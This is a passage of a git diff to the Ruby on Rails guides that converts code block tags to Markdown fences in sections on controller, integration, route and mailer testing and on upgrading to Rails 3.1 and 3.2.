Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
-<ruby>
+```ruby
test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Some title'}
@@ -457,7 +457,7 @@ test "should create post" do
assert_redirected_to post_path(assigns(:post))
end
-</ruby>
+```
Now you can try running all the tests and they should pass.
@@ -487,14 +487,14 @@ After a request has been made by using one of the 5 methods (+get+, +post+, etc.
As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
-<ruby>
+```ruby
flash["gordon"] flash[:gordon]
session["shmession"] session[:shmession]
cookies["are_good_for_u"] cookies[:are_good_for_u]
# Because you can't use assigns[:something] for historical reasons:
assigns["something"] assigns(:something)
-</ruby>
+```
h4. Instance Variables Available
@@ -509,22 +509,22 @@ h4. Testing Templates and Layouts
If you want to make sure that the response rendered the correct template and layout, you can use the +assert_template+
method:
-<ruby>
+```ruby
test "index should render correct template and layout" do
get :index
assert_template :index
assert_template :layout => "layouts/application"
end
-</ruby>
+```
Note that you cannot test for template and layout at the same time, with one call to +assert_template+ method.
Also, for the +layout+ test, you can give a regular expression instead of a string, but using the string, makes
things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
file in this standard layout directory. Hence,
-<ruby>
+```ruby
assert_template :layout => "application"
-</ruby>
+```
will not work.
@@ -533,12 +533,12 @@ Otherwise, assertion will fail.
Hence:
-<ruby>
+```ruby
test "new should render correct layout" do
get :new
assert_template :layout => "layouts/application", :partial => "_form"
end
-</ruby>
+```
is the correct way to assert for the layout when the view renders a partial with name +_form+. Omitting the +:partial+ key in your +assert_template+ call will complain.
@@ -546,7 +546,7 @@ h4. A Fuller Functional Test Example
Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
-<ruby>
+```ruby
test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
@@ -554,7 +554,7 @@ test "should create post" do
assert_redirected_to post_path(assigns(:post))
assert_equal 'Post was successfully created.', flash[:notice]
end
-</ruby>
+```
h4. Testing Views
@@ -570,21 +570,21 @@ There are two forms of +assert_select+:
For example, you could verify the contents on the title element in your response with:
-<ruby>
+```ruby
assert_select 'title', "Welcome to Rails Testing Guide"
-</ruby>
+```
You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
-<ruby>
+```ruby
assert_select 'ul.navigation' do
assert_select 'li.menu_item'
end
-</ruby>
+```
Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
-<ruby>
+```ruby
assert_select "ol" do |elements|
elements.each do |element|
assert_select element, "li", 4
@@ -594,7 +594,7 @@ end
assert_select "ol" do
assert_select "li", 8
end
-</ruby>
+```
The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
@@ -609,11 +609,11 @@ There are more assertions that are primarily used in testing views:
Here's an example of using +assert_select_email+:
-<ruby>
+```ruby
assert_select_email do
assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
end
-</ruby>
+```
h3. Integration Testing
@@ -621,15 +621,15 @@ Integration tests are used to test the interaction among any number of controlle
Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
-<shell>
+```shell
$ rails generate integration_test user_flows
exists test/integration/
create test/integration/user_flows_test.rb
-</shell>
+```
Here's what a freshly-generated integration test looks like:
-<ruby>
+```ruby
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
@@ -640,7 +640,7 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
assert true
end
end
-</ruby>
+```
Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
@@ -666,7 +666,7 @@ h4. Integration Testing Examples
A simple integration test that exercises multiple controllers:
-<ruby>
+```ruby
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
@@ -688,13 +688,13 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
assert assigns(:products)
end
end
-</ruby>
+```
As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
Here's an example of multiple sessions and custom DSL in an integration test
-<ruby>
+```ruby
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
@@ -740,7 +740,7 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
end
end
end
-</ruby>
+```
h3. Rake Tasks for Running your Tests
@@ -768,7 +768,7 @@ h3. Setup and Teardown
If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
-<ruby>
+```ruby
require 'test_helper'
class PostsControllerTest < ActionController::TestCase
@@ -800,7 +800,7 @@ class PostsControllerTest < ActionController::TestCase
end
end
-</ruby>
+```
Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as +ActiveSupport::Callbacks+. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
@@ -811,7 +811,7 @@ Above, the +setup+ method is called before each test and so +@post+ is available
Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
-<ruby>
+```ruby
require '../test_helper'
class PostsControllerTest < ActionController::TestCase
@@ -849,17 +849,17 @@ class PostsControllerTest < ActionController::TestCase
end
end
-</ruby>
+```
h3. Testing Routes
Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
-<ruby>
+```ruby
test "should route to post" do
assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
end
-</ruby>
+```
h3. Testing Your Mailers
@@ -893,7 +893,7 @@ h5. The Basic Test Case
Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
-<ruby>
+```ruby
require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
@@ -909,19 +909,19 @@ class UserMailerTest < ActionMailer::TestCase
end
end
-</ruby>
+```
In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
Here's the content of the +invite+ fixture:
-<pre>
+```
Hi friend@example.com,
You have been invited.
Cheers!
-</pre>
+```
This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
@@ -931,7 +931,7 @@ h4. Functional Testing
Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
-<ruby>
+```ruby
require 'test_helper'
class UserControllerTest < ActionController::TestCase
@@ -946,7 +946,7 @@ class UserControllerTest < ActionController::TestCase
assert_match(/Hi friend@example.com/, invite_email.body)
end
end
-</ruby>
+```
h3. Other Testing Approaches
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index b750cc2ffb..0f9a5f2f5a 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -84,7 +84,7 @@ h4(#gemfile3_2). Gemfile
Make the following changes to your +Gemfile+.
-<ruby>
+```ruby
gem 'rails', '= 3.2.2'
group :assets do
@@ -92,29 +92,29 @@ group :assets do
gem 'coffee-rails', '~> 3.2.1'
gem 'uglifier', '>= 1.0.3'
end
-</ruby>
+```
h4(#config_dev3_2). config/environments/development.rb
There are a couple of new configuration settings that you should add to your development environment:
-<ruby>
+```ruby
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict
# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5
-</ruby>
+```
h4(#config_test3_2). config/environments/test.rb
The <tt>mass_assignment_sanitizer</tt> configuration setting should also be be added to <tt>config/environments/test.rb</tt>:
-<ruby>
+```ruby
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict
-</ruby>
+```
h4(#plugins3_2). vendor/plugins
@@ -130,7 +130,7 @@ h4(#gemfile3_1). Gemfile
Make the following changes to your +Gemfile+.
-<ruby>
+```ruby
gem 'rails', '= 3.1.3'
gem 'mysql2'
@@ -143,23 +143,23 @@ end
# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'
-</ruby>
+```
h4(#config_app3_1). config/application.rb
The asset pipeline requires the following additions:
-<ruby>
+```ruby
config.assets.enabled = true
config.assets.version = '1.0'
-</ruby>
+```
If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
-<ruby>
+```ruby
# Defaults to '/assets'
config.assets.prefix = '/asset-files'
-</ruby>
+```
h4(#config_dev3_1). config/environments/development.rb
@@ -167,19 +167,19 @@ Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>.
Add these settings if you enable the asset pipeline:
-<ruby>
+```ruby
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true
-</ruby>
+```
h4(#config_prod3_1). config/environments/production.rb
Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
-<ruby>
+```ruby
# Compress JavaScripts and CSS
config.assets.compress = true
@@ -197,23 +197,23 @@ config.assets.digest = true
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
-</ruby>
+```
h4(#config_test3_1). config/environments/test.rb
You can help test performance with these additions to your test environment:
-<ruby>
+```ruby
# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
-</ruby>
+```
h4(#config_wp3_1). config/initializers/wrap_parameters.rb
Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.
@@ -227,4 +227,4 @@ end
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end
-</ruby>
+```